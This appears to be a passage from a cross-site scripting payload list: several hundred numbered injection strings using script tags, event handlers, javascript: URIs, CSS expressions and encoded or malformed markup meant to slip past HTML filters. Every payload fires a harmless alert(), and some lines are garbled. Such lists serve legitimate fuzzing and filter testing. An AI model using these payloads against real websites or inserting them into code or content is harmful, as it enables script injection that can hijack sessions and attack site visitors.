 578 | <img src=javascript:alert(795)>
 579 | <"';alert(796))//\';alert(796))//";alert(796))//\";alert(796))//--></SCRIPT>">'><SCRIPT>alert(796))</SCRIPT>
 580 | <IFRAME SRC="javascript:alert(798);"></IFRAME>
 581 | <<SCRIPT>alert(805);//<</SCRIPT>
 582 | <"';alert(806))//\';alert(806))//";alert(806))//\";alert(806))//--></SCRIPT>">'><SCRIPT>alert(806))</SCRIPT>
 583 | ';alert(807))//\';alert(807))//";alert(807))//\";alert(807))//--></SCRIPT>">'><SCRIPT>alert(807))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
 584 | <script>alert(808)</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
 585 | <script>alert(809);</script>&search=1
 586 | 0&q=';alert(810))//\';alert%2?8810))//";alert(String.fromCharCode?(88,83,83))//\";alert(810)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
 587 | <BODY ONLOAD=alert(812)>
 588 | <body onscroll=alert(815)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
 589 | <form><button formaction="javascript:alert(816)">lol
 590 | <!--<img src="--><img src=x onerror=alert(817)//">
 591 | <![><img src="]><img src=x onerror=alert(818)//">
 592 | <style><img src="</style><img src=x onerror=alert(819)//">
 593 | <? foo="><script>alert(820)</script>">
 594 | <! foo="><script>alert(821)</script>">
 595 | </ foo="><script>alert(822)</script>">
 596 | <? foo="><x foo='?><script>alert(823)</script>'>">
 597 | <! foo="[[[Inception]]"><x foo="]foo><script>alert(824)</script>">
 598 | <% foo><x foo="%><script>alert(825)</script>">
 599 | <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(829)</script></svg>
 600 | &lt;SCRIPT&gt;alert(830)&lt;/SCRIPT&gt;
 601 | \\";alert(831);//
 602 | &lt;/TITLE&gt;&lt;SCRIPT&gt;alert(832);&lt;/SCRIPT&gt;
 603 | &lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert(833);\"&gt;
 604 | &lt;BODY BACKGROUND=\"javascript&#058;alert(834)\"&gt;
 605 | &lt;BODY ONLOAD=alert(835)&gt;
 606 | &lt;IMG DYNSRC=\"javascript&#058;alert(836)\"&gt;
 607 | &lt;IMG LOWSRC=\"javascript&#058;alert(837)\"&gt;
 608 | &lt;BGSOUND SRC=\"javascript&#058;alert(838);\"&gt;
 609 | &lt;BR SIZE=\"&{alert(839)}\"&gt;
 610 | &lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert(841);\"&gt;
 611 | &lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert(847)\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
 612 | žscriptualert(851)ž/scriptu
 613 | &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert(852);\"&gt;
 614 | &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert(854);\"
 615 | &lt;IFRAME SRC=\"javascript&#058;alert(855);\"&gt;&lt;/IFRAME&gt;
 616 | &lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert(856);\"&gt;&lt;/FRAMESET&gt;
 617 | &lt;TABLE BACKGROUND=\"javascript&#058;alert(857)\"&gt;
 618 | &lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert(858)\"&gt;
 619 | &lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert(859))\"&gt;
 620 | &lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert(861))\"&gt;
 621 | &lt;DIV STYLE=\"width&#58; expression(alert(862));\"&gt;
 622 | &lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(863)';&lt;/STYLE&gt;
 623 | &lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert(864))\"&gt;
 624 | &lt;XSS STYLE=\"xss&#58;expression(alert(865))\"&gt;
 625 | xss&#58;ex&#x2F;*XSS*//*/*/pression(alert(867))'&gt;
 626 | &lt;STYLE TYPE=\"text/javascript\"&gt;alert(868);&lt;/STYLE&gt;
 627 | &lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert(869)\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
 628 | &lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert(870)\")}&lt;/STYLE&gt;
 629 | &lt;SCRIPT&gt;alert(872);&lt;/SCRIPT&gt;
 630 | &lt;BASE HREF=\"javascript&#058;alert(874);//\"&gt;
 631 | &lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert(876)&gt;&lt;/OBJECT&gt;
 632 | d=\"alert(882);\\")\";
 633 | &lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert(885);\"&gt;&#93;&#93;&gt;
 634 | &lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert(887)\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
 635 | &lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(894)&lt;/SCRIPT&gt;\"&gt;
 636 | echo('IPT&gt;alert(899)&lt;/SCRIPT&gt;'); ?&gt;
 637 | &lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert(902)&lt;/SCRIPT&gt;\"&gt;
 638 | &lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(903);+ADw-/SCRIPT+AD4-
 639 | &lt;IMG SRC=\"javascript&#058;alert(991)\"
 640 | &lt;&lt;SCRIPT&gt;alert(994);//&lt;&lt;/SCRIPT&gt;
 641 | &lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(996)&gt;
 642 | &lt;IMG SRC=\"   javascript&#058;alert(998);\"&gt;
 643 | perl -e 'print \"&lt;SCR\0IPT&gt;alert(999)&lt;/SCR\0IPT&gt;\";' &gt; out
 644 | perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(1000)&gt;\";' &gt; out
 645 | &lt;IMG SRC=\"jav&#x0D;ascript&#058;alert(1001);\"&gt;
 646 | &lt;IMG SRC=\"jav&#x0A;ascript&#058;alert(1002);\"&gt;
 647 | &lt;IMG SRC=\"jav&#x09;ascript&#058;alert(1003);\"&gt;
 648 | &lt;IMG SRC=javascript&#058;alert(1006)&gt;
 649 | &lt;IMG SRC=javascript&#058;alert(1007))&gt;
 650 | &lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(1008)&lt;/SCRIPT&gt;\"&gt;
 651 | &lt;IMG SRC=`javascript&#058;alert(1009)`&gt;
 652 | &lt;IMG SRC=javascript&#058;alert(1010)&gt;
 653 | &lt;IMG SRC=JaVaScRiPt&#058;alert(1011)&gt;
 654 | &lt;IMG SRC=javascript&#058;alert(1012)&gt;
 655 | &lt;IMG SRC=\"javascript&#058;alert(1013);\"&gt;
 656 | ';alert(1016))//\';alert(1016))//\";alert(1016))//\\";alert(1016))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(1016))&lt;/SCRIPT&gt;
 657 | ';alert(1017))//\';alert(1017))//";alert(1017))//\";alert(1017))//--></SCRIPT>">'><SCRIPT>alert(1017))</SCRIPT>
 658 | <IMG SRC="javascript:alert(1020);">
 659 | <IMG SRC=javascript:alert(1021)>
 660 | <IMG SRC=javascrscriptipt:alert(1022)>
 661 | <IMG SRC=JaVaScRiPt:alert(1023)>
 662 | <IMG """><SCRIPT>alert(1024)</SCRIPT>">
 663 | <IMG SRC=" &#14;  javascript:alert(1025);">
 664 | <<SCRIPT>alert(1028);//<</SCRIPT>
 665 | <SCRIPT>a=/XSS/alert(1029)</SCRIPT>
 666 | \";alert(1030);//
 667 | </TITLE><SCRIPT>alert(1031);</SCRIPT>
 668 | ¼script¾alert(1032)¼/script¾
 669 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1033);">
 670 | <IFRAME SRC="javascript:alert(1034);"></IFRAME>
 671 | <FRAMESET><FRAME SRC="javascript:alert(1035);"></FRAMESET>
 672 | <TABLE BACKGROUND="javascript:alert(1036)">
 673 | <TABLE><TD BACKGROUND="javascript:alert(1037)">
 674 | <DIV STYLE="background-image: url(javascript:alert(1038))">
 675 | <DIV STYLE="width: expression(alert(1040));">
 676 | <STYLE>@im\port'\ja\vasc\ript:alert(1041)';</STYLE>
 677 | <IMG STYLE="xss:expr/*XSS*/ession(alert(1042))">
 678 | <XSS STYLE="xss:expression(alert(1043))">
 679 | exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(1044))'>
 680 | <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(1048)&lt;/SCRIPT&gt;"></BODY></HTML>
 681 | <form id="test" /><button form="test" formaction="javascript:alert(1050)">TESTHTML5FORMACTION
 682 | <form><button formaction="javascript:alert(1051)">crosssitespt
 683 | <frameset onload=alert(1052)>
 684 | <!--<img src="--><img src=x onerror=alert(1053)//">
 685 | <style><img src="</style><img src=x onerror=alert(1054)//">
 686 | <embed src="javascript:alert(1057)">
 687 | <? foo="><script>alert(1058)</script>">
 688 | <! foo="><script>alert(1059)</script>">
 689 | </ foo="><script>alert(1060)</script>">
 690 | <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1062)}),x</script>
 691 | <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1063)')()</script>
 692 | <script src="#">{alert(1064)}</script>;1064
 693 | <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1065)',384,null,'rsa-dual-use')</script>
 694 | <svg xmlns="#"><script>alert(1066)</script></svg>
 695 | <svg onload="javascript:alert(1067)" xmlns="#"></svg>
 696 | <iframe xmlns="#" src="javascript:alert(1068)"></iframe>
 697 | +ADw-script+AD4-alert(1069)+ADw-/script+AD4-
 698 | %2BADw-script+AD4-alert(1070)%2BADw-/script%2BAD4-
 699 | +ACIAPgA8-script+AD4-alert(1071)+ADw-/script+AD4APAAi-
 700 | %253cscript%253ealert(1073)%253c/script%253e
 701 | “><s”%2b”cript>alert(1074)</script>
 702 | “><ScRiPt>alert(1075)</script>
 703 | “><<script>alert(1076);//<</script>
 704 | foo<script>alert(1077)</script>
 705 | <scr<script>ipt>alert(1078)</scr</script>ipt>
 706 | ‘; alert(1080); var foo=’
 707 | foo\’; alert(1081);//’;
 708 | </script><script >alert(1082)</script>
 709 | <img src=asdf onerror=alert(1083)>
 710 | <BODY ONLOAD=alert(1084)>
 711 | <script>alert(1085)</script>
 712 | "><script>alert(1086))</script>
 713 | <video src=1087 onerror=alert(1087)>
 714 | <audio src=1088 onerror=alert(1088)>
 715 | ';alert(1089))//';alert(1089))//";alert(1089))//";alert(1089))//--></SCRIPT>">'><SCRIPT>alert(1089))</SCRIPT>
 716 | 0\"autofocus/onfocus=alert(1091)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
 717 | <IMG SRC="javascript:alert(1097);">
 718 | <IMG SRC=javascript:alert(1098)>
 719 | <IMG SRC=JaVaScRiPt:alert(1099)>
 720 | <IMG SRC=javascript:alert(1100)>
 721 | <IMG SRC=`javascript:alert(1101)`>
 722 | <a onmouseover="alert(1102)">xxs link</a>
 723 | <a onmouseover=alert(1103)>xxs link</a>
 724 | <IMG """><SCRIPT>alert(1104)</SCRIPT>">
 725 | <IMG SRC=javascript:alert(1105))>
 726 | <IMG SRC=# onmouseover="alert(1106)">
 727 | <IMG SRC= onmouseover="alert(1107)">
 728 | <IMG onmouseover="alert(1108)">
 729 | <IMG SRC=/ onerror="alert(1109))"></img>
 730 | <IMG SRC="jav	ascript:alert(1115);">
 731 | <IMG SRC="jav&#x09;ascript:alert(1116);">
 732 | <IMG SRC="jav&#x0A;ascript:alert(1117);">
 733 | <IMG SRC="jav&#x0D;ascript:alert(1118);">
 734 | <IMG SRC=" &#14;  javascript:alert(1119);">
 735 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1121)>
 736 | <<SCRIPT>alert(1123);//<</SCRIPT>
 737 | <IMG SRC="javascript:alert(1126)"
 738 | \";alert(1128);//
 739 | </script><script>alert(1129);</script>
 740 | </TITLE><SCRIPT>alert(1130);</SCRIPT>
 741 | <INPUT TYPE="IMAGE" SRC="javascript:alert(1131);">
 742 | <BODY BACKGROUND="javascript:alert(1132)">
 743 | <IMG DYNSRC="javascript:alert(1133)">
 744 | <IMG LOWSRC="javascript:alert(1134)">
 745 | <STYLE>li {list-style-image: url("javascript:alert(1135)");}</STYLE><UL><LI>XSS</br>
 746 | <BODY ONLOAD=alert(1138)>
 747 | <BGSOUND SRC="javascript:alert(1139);">
 748 | <BR SIZE="&{alert(1140)}">
 749 | <LINK REL="stylesheet" HREF="javascript:alert(1141);">
 750 | <STYLE>@im\port'\ja\vasc\ript:alert(1146)';</STYLE>
 751 | <IMG STYLE="xss:expr/*XSS*/ession(alert(1147))">
 752 | xss:ex/*XSS*//*/*/pression(alert(1149))'>
 753 | <STYLE TYPE="text/javascript">alert(1150);</STYLE>
 754 | <STYLE>.XSS{background-image:url("javascript:alert(1151)");}</STYLE><A CLASS=XSS></A>
 755 | <STYLE type="text/css">BODY{background:url("javascript:alert(1152)")}</STYLE>
 756 | <XSS STYLE="xss:expression(alert(1153))">
 757 | ¼script¾alert(1155)¼/script¾
 758 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1156);">
 759 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1158);">
 760 | <IFRAME SRC="javascript:alert(1159);"></IFRAME>
 761 | <IFRAME SRC=# onmouseover="alert(1160)"></IFRAME>
 762 | <FRAMESET><FRAME SRC="javascript:alert(1161);"></FRAMESET>
 763 | <TABLE BACKGROUND="javascript:alert(1162)">
 764 | <TABLE><TD BACKGROUND="javascript:alert(1163)">
 765 | <DIV STYLE="background-image: url(javascript:alert(1164))">
 766 | <DIV STYLE="background-image: url(&#1;javascript:alert(1166))">
 767 | <DIV STYLE="width: expression(alert(1167));">
 768 | <!--[if gte IE 4]><SCRIPT>alert(1168);</SCRIPT><![endif]-->
 769 | <BASE HREF="javascript:alert(1169);//">
 770 | <? echo('<SCR)';echo('IPT>alert(1172)</SCRIPT>'); ?>
 771 | <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1174)</SCRIPT>">
 772 | <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1175);+ADw-/SCRIPT+AD4-
 773 | 0\"autofocus/onfocus=alert(1184)--><video/poster/ error=prompt(2)>"-confirm(3)-"
 774 | veris-->group<svg/onload=alert(1185)//
 775 | #"><img src=M onerror=alert(1186);>
 776 | element[attribute='<img src=x onerror=alert(1187);>
 777 | [<blockquote cite="]">[" onmouseover="alert(1188);" ]
 778 | <scr<script>ipt>alert(1195)</scr</script>ipt><scr<script>ipt>alert(1195)</scr</script>ipt>
 779 | <sCR<script>iPt>alert(1196)</SCr</script>IPt>
 780 | %253Cscript%253Ealert(1198)%253C%252Fscript%253E
 781 | <IMG SRC=x onload="alert(1199))">
 782 | <IMG SRC=x onafterprint="alert(1200))">
 783 | <IMG SRC=x onbeforeprint="alert(1201))">
 784 | <IMG SRC=x onbeforeunload="alert(1202))">
 785 | <IMG SRC=x onerror="alert(1203))">
 786 | <IMG SRC=x onhashchange="alert(1204))">
 787 | <IMG SRC=x onload="alert(1205))">
 788 | <IMG SRC=x onmessage="alert(1206))">
 789 | <IMG SRC=x ononline="alert(1207))">
 790 | <IMG SRC=x onoffline="alert(1208))">
 791 | <IMG SRC=x onpagehide="alert(1209))">
 792 | <IMG SRC=x onpageshow="alert(1210))">
 793 | <IMG SRC=x onpopstate="alert(1211))">
 794 | <IMG SRC=x onresize="alert(1212))">
 795 | <IMG SRC=x onstorage="alert(1213))">
 796 | <IMG SRC=x onunload="alert(1214))">
 797 | <IMG SRC=x onblur="alert(1215))">
 798 | <IMG SRC=x onchange="alert(1216))">
 799 | <IMG SRC=x oncontextmenu="alert(1217))">
 800 | <IMG SRC=x oninput="alert(1218))">
 801 | <IMG SRC=x oninvalid="alert(1219))">
 802 | <IMG SRC=x onreset="alert(1220))">
 803 | <IMG SRC=x onsearch="alert(1221))">
 804 | <IMG SRC=x onselect="alert(1222))">
 805 | <IMG SRC=x onsubmit="alert(1223))">
 806 | <IMG SRC=x onkeydown="alert(1224))">
 807 | <IMG SRC=x onkeypress="alert(1225))">
 808 | <IMG SRC=x onkeyup="alert(1226))">
 809 | <IMG SRC=x onclick="alert(1227))">
 810 | <IMG SRC=x ondblclick="alert(1228))">
 811 | <IMG SRC=x onmousedown="alert(1229))">
 812 | <IMG SRC=x onmousemove="alert(1230))">
 813 | <IMG SRC=x onmouseout="alert(1231))">
 814 | <IMG SRC=x onmouseover="alert(1232))">
 815 | <IMG SRC=x onmouseup="alert(1233))">
 816 | <IMG SRC=x onmousewheel="alert(1234))">
 817 | <IMG SRC=x onwheel="alert(1235))">
 818 | <IMG SRC=x ondrag="alert(1236))">
 819 | <IMG SRC=x ondragend="alert(1237))">
 820 | <IMG SRC=x ondragenter="alert(1238))">
 821 | <IMG SRC=x ondragleave="alert(1239))">
 822 | <IMG SRC=x ondragover="alert(1240))">
 823 | <IMG SRC=x ondragstart="alert(1241))">
 824 | <IMG SRC=x ondrop="alert(1242))">
 825 | <IMG SRC=x onscroll="alert(1243))">
 826 | <IMG SRC=x oncopy="alert(1244))">
 827 | <IMG SRC=x oncut="alert(1245))">
 828 | <IMG SRC=x onpaste="alert(1246))">
 829 | <IMG SRC=x onabort="alert(1247))">
 830 | <IMG SRC=x oncanplay="alert(1248))">
 831 | <IMG SRC=x oncanplaythrough="alert(1249))">
 832 | <IMG SRC=x oncuechange="alert(1250))">
 833 | <IMG SRC=x ondurationchange="alert(1251))">
 834 | <IMG SRC=x onemptied="alert(1252))">
 835 | <IMG SRC=x onended="alert(1253))">
 836 | <IMG SRC=x onerror="alert(1254))">
 837 | <IMG SRC=x onloadeddata="alert(1255))">
 838 | <IMG SRC=x onloadedmetadata="alert(1256))">
 839 | <IMG SRC=x onloadstart="alert(1257))">
 840 | <IMG SRC=x onpause="alert(1258))">
 841 | <IMG SRC=x onplay="alert(1259))">
 842 | <IMG SRC=x onplaying="alert(1260))">
 843 | <IMG SRC=x onprogress="alert(1261))">
 844 | <IMG SRC=x onratechange="alert(1262))">
 845 | <IMG SRC=x onseeked="alert(1263))">
 846 | <IMG SRC=x onseeking="alert(1264))">
 847 | <IMG SRC=x onstalled="alert(1265))">
 848 | <IMG SRC=x onsuspend="alert(1266))">
 849 | <IMG SRC=x ontimeupdate="alert(1267))">
 850 | <IMG SRC=x onvolumechange="alert(1268))">
 851 | <IMG SRC=x onwaiting="alert(1269))">
 852 | <IMG SRC=x onshow="alert(1270))">
 853 | <IMG SRC=x ontoggle="alert(1271))">
 854 | <META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1272)";
 855 | <IMG SRC=x onload="alert(1273))">
 856 | <INPUT TYPE="BUTTON" action="alert(1274)"/>
 857 | "><h1><IFRAME SRC="javascript:alert(1275);"></IFRAME>">123</h1>
 858 | "><h1><IFRAME SRC=# onmouseover="alert(1276)"></IFRAME>123</h1>
 859 | <IFRAME SRC="javascript:alert(1277);"></IFRAME>
 860 | <IFRAME SRC=# onmouseover="alert(1278)"></IFRAME>
 861 | "><h1><IFRAME SRC=# onmouseover="alert(1279)"></IFRAME>123</h1>
 862 | "></iframe><script>alert(1280);</script><iframe frameborder="0%EF%BB%BF
 863 | "><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(1281)"></IFRAME>123</h1>
 864 | <IFRAME width="420" height="315" frameborder="0" onload="alert(1285)"></IFRAME>
 865 | "><h1><IFRAME SRC="javascript:alert(1286);"></IFRAME>">123</h1>
 866 | "><h1><IFRAME SRC=# onmouseover="alert(1287)"></IFRAME>123</h1>
 867 | <IFRAME SRC="javascript:alert(1289);"></IFRAME>
 868 | <IFRAME SRC=# onmouseover="alert(1290)"></IFRAME>
 869 | <img src=``&NewLine; onerror=alert(1297)&NewLine;
 870 | <script /**/>/**/alert(1301)/**/</script /**/
 871 | <iframe/src="data:text/html,<svg &#130313031303;&#130313030;load=alert(1303)>">
 872 | <meta content="&NewLine; 1304 &NewLine;; JAVASCRIPT&colon; alert(1304)" http-equiv="refresh"/>
 873 | <form><iframe &#09;&#13110;&#13111311; src="javascript&#58;alert(1311)"&#13111311;&#13110;&#09;;>
 874 | http://www.google<script .com>alert(1313)</script
 875 | <script ^__^>alert(1317))</script ^__^
 876 | </style &#32;><script &#32; :-(>/**/alert(1318)/**/</script &#32; :-(
 877 | &#00;</form><input type&#61319;"date" onfocus="alert(1319)">
 878 | <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1323)&NewLine;>X</a>
 879 | <script ~~~>alert(1324)</script ~~~>
 880 | <iframe// src=javaSCRIPT&colon;alert(1332)
 881 | <%<!--'%><script>alert(1349);</script -->
 882 | <script src="data:text/javascript,alert(1350)"></script>
 883 | <iframe/onreadystatechange=alert(1352)
 884 | <svg/onload=alert(1353)
 885 | <input type="text" value=`` <div/onmouseover='alert(1355)'>X</div>
 886 | http://www.<script>alert(1356)</script .com
 887 | <svg><script ?>alert(1358)
 888 | <img src=`xx:xx`onerror=alert(1360)>
 889 | <meta http-equiv="refresh" content="0;javascript&colon;alert(1362)"/>
 890 | <script>+-+-1372-+-+alert(1372)</script>
 891 | <body/onload=&lt;!--&gt;&#13730alert(1373)>
 892 | <script itworksinallbrowsers>/*<script* */alert(1374)</script
 893 | <img src ?itworksonchrome?\/onerror = alert(1375)
 894 | <svg><script onlypossibleinopera:-)> alert(1377)
 895 | <script x> alert(1379) </script 1379=2
 896 | <div/onmouseover='alert(1380)'> style="x:">
 897 | <--`<img/src=` onerror=alert(1381)> --!>
 898 | <div style="position:absolute;top:0;left:0;width:138300%;height:138300%" onmouseover="prompt(1383)" onclick="alert(1383)">x</button>
 899 | <form><button formaction=javascript&colon;alert(1385)>CLICKME
 900 | <script\x20type="text/javascript">javascript:alert(1390);</script>
 901 | <script\x3Etype="text/javascript">javascript:alert(1391);</script>
 902 | <script\x0Dtype="text/javascript">javascript:alert(1392);</script>
 903 | <script\x09type="text/javascript">javascript:alert(1393);</script>
 904 | <script\x0Ctype="text/javascript">javascript:alert(1394);</script>
 905 | <script\x2Ftype="text/javascript">javascript:alert(1395);</script>
 906 | <script\x0Atype="text/javascript">javascript:alert(1396);</script>
 907 | '`"><\x3Cscript>javascript:alert(1397)</script>
 908 | '`"><\x00script>javascript:alert(1398)</script>
 909 | <img src=1399 href=1399 onerror="javascript:alert(1399)"></img>
 910 | <audio src=1400 href=1400 onerror="javascript:alert(1400)"></audio>
 911 | <video src=1401 href=1401 onerror="javascript:alert(1401)"></video>
 912 | <body src=1402 href=1402 onerror="javascript:alert(1402)"></body>
 913 | <image src=1403 href=1403 onerror="javascript:alert(1403)"></image>
 914 | <object src=1404 href=1404 onerror="javascript:alert(1404)"></object>
 915 | <script src=1405 href=1405 onerror="javascript:alert(1405)"></script>
 916 | <svg onResize svg onResize="javascript:javascript:alert(1406)"></svg onResize>
 917 | <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1407)"></title onPropertyChange>
 918 | <iframe onLoad iframe onLoad="javascript:javascript:alert(1408)"></iframe onLoad>
 919 | <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1409)"></body onMouseEnter>
 920 | <body onFocus body onFocus="javascript:javascript:alert(1410)"></body onFocus>
 921 | <frameset onScroll frameset onScroll="javascript:javascript:alert(1411)"></frameset onScroll>
 922 | <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1412)"></script onReadyStateChange>
 923 | <html onMouseUp html onMouseUp="javascript:javascript:alert(1413)"></html onMouseUp>
 924 | <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1414)"></body onPropertyChange>
 925 | <svg onLoad svg onLoad="javascript:javascript:alert(1415)"></svg onLoad>
 926 | <body onPageHide body onPageHide="javascript:javascript:alert(1416)"></body onPageHide>
 927 | <body onMouseOver body onMouseOver="javascript:javascript:alert(1417)"></body onMouseOver>
 928 | <body onUnload body onUnload="javascript:javascript:alert(1418)"></body onUnload>
 929 | <body onLoad body onLoad="javascript:javascript:alert(1419)"></body onLoad>
 930 | <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1420)"></bgsound onPropertyChange>
 931 | <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1421)"></html onMouseLeave>
 932 | <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1422)"></html onMouseWheel>
 933 | <style onLoad style onLoad="javascript:javascript:alert(1423)"></style onLoad>
 934 | <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1424)"></iframe onReadyStateChange>
 935 | <body onPageShow body onPageShow="javascript:javascript:alert(1425)"></body onPageShow>
 936 | <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1426)"></style onReadyStateChange>
 937 | <frameset onFocus frameset onFocus="javascript:javascript:alert(1427)"></frameset onFocus>
 938 | <applet onError applet onError="javascript:javascript:alert(1428)"></applet onError>
 939 | <marquee onStart marquee onStart="javascript:javascript:alert(1429)"></marquee onStart>
 940 | <script onLoad script onLoad="javascript:javascript:alert(1430)"></script onLoad>
 941 | <html onMouseOver html onMouseOver="javascript:javascript:alert(1431)"></html onMouseOver>
 942 | <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1432)"></html onMouseEnter>
 943 | <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1433)"></body onBeforeUnload>
 944 | <html onMouseDown html onMouseDown="javascript:javascript:alert(1434)"></html onMouseDown>
 945 | <marquee onScroll marquee onScroll="javascript:javascript:alert(1435)"></marquee onScroll>
 946 | <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1436)"></xml onPropertyChange>
 947 | <frameset onBlur frameset onBlur="javascript:javascript:alert(1437)"></frameset onBlur>
 948 | <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1438)"></applet onReadyStateChange>
 949 | <svg onUnload svg onUnload="javascript:javascript:alert(1439)"></svg onUnload>
 950 | <html onMouseOut html onMouseOut="javascript:javascript:alert(1440)"></html onMouseOut>
 951 | <body onMouseMove body onMouseMove="javascript:javascript:alert(1441)"></body onMouseMove>
 952 | <body onResize body onResize="javascript:javascript:alert(1442)"></body onResize>
 953 | <object onError object onError="javascript:javascript:alert(1443)"></object onError>
 954 | <body onPopState body onPopState="javascript:javascript:alert(1444)"></body onPopState>
 955 | <html onMouseMove html onMouseMove="javascript:javascript:alert(1445)"></html onMouseMove>
 956 | <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1446)"></applet onreadystatechange>
 957 | <body onpagehide body onpagehide="javascript:javascript:alert(1447)"></body onpagehide>
 958 | <svg onunload svg onunload="javascript:javascript:alert(1448)"></svg onunload>
 959 | <applet onerror applet onerror="javascript:javascript:alert(1449)"></applet onerror>
 960 | <body onkeyup body onkeyup="javascript:javascript:alert(1450)"></body onkeyup>
 961 | <body onunload body onunload="javascript:javascript:alert(1451)"></body onunload>
 962 | <iframe onload iframe onload="javascript:javascript:alert(1452)"></iframe onload>
 963 | <body onload body onload="javascript:javascript:alert(1453)"></body onload>
 964 | <html onmouseover html onmouseover="javascript:javascript:alert(1454)"></html onmouseover>
 965 | <object onbeforeload object onbeforeload="javascript:javascript:alert(1455)"></object onbeforeload>
 966 | <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1456)"></body onbeforeunload>
 967 | <body onfocus body onfocus="javascript:javascript:alert(1457)"></body onfocus>
 968 | <body onkeydown body onkeydown="javascript:javascript:alert(1458)"></body onkeydown>
 969 | <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1459)"></iframe onbeforeload>
 970 | <iframe src iframe src="javascript:javascript:alert(1460)"></iframe src>
 971 | <svg onload svg onload="javascript:javascript:alert(1461)"></svg onload>
 972 | <html onmousemove html onmousemove="javascript:javascript:alert(1462)"></html onmousemove>
 973 | <body onblur body onblur="javascript:javascript:alert(1463)"></body onblur>
 974 | \x3Cscript>javascript:alert(1464)</script>
 975 | '"`><script>/* *\x2Fjavascript:alert(1465)// */</script>
 976 | <script>javascript:alert(1466)</script\x0D
 977 | <script>javascript:alert(1467)</script\x0A
 978 | <script>javascript:alert(1468)</script\x0B
 979 | <script charset="\x22>javascript:alert(1469)</script>
 980 | <!--\x3E<img src=xxx:x onerror=javascript:alert(1470)> -->
 981 | --><!-- ---> <img src=xxx:x onerror=javascript:alert(1471)> -->
 982 | --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1472)> -->
 983 | --><!-- --\x21473> <img src=xxx:x onerror=javascript:alert(1473)> -->
 984 | --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1474)> -->
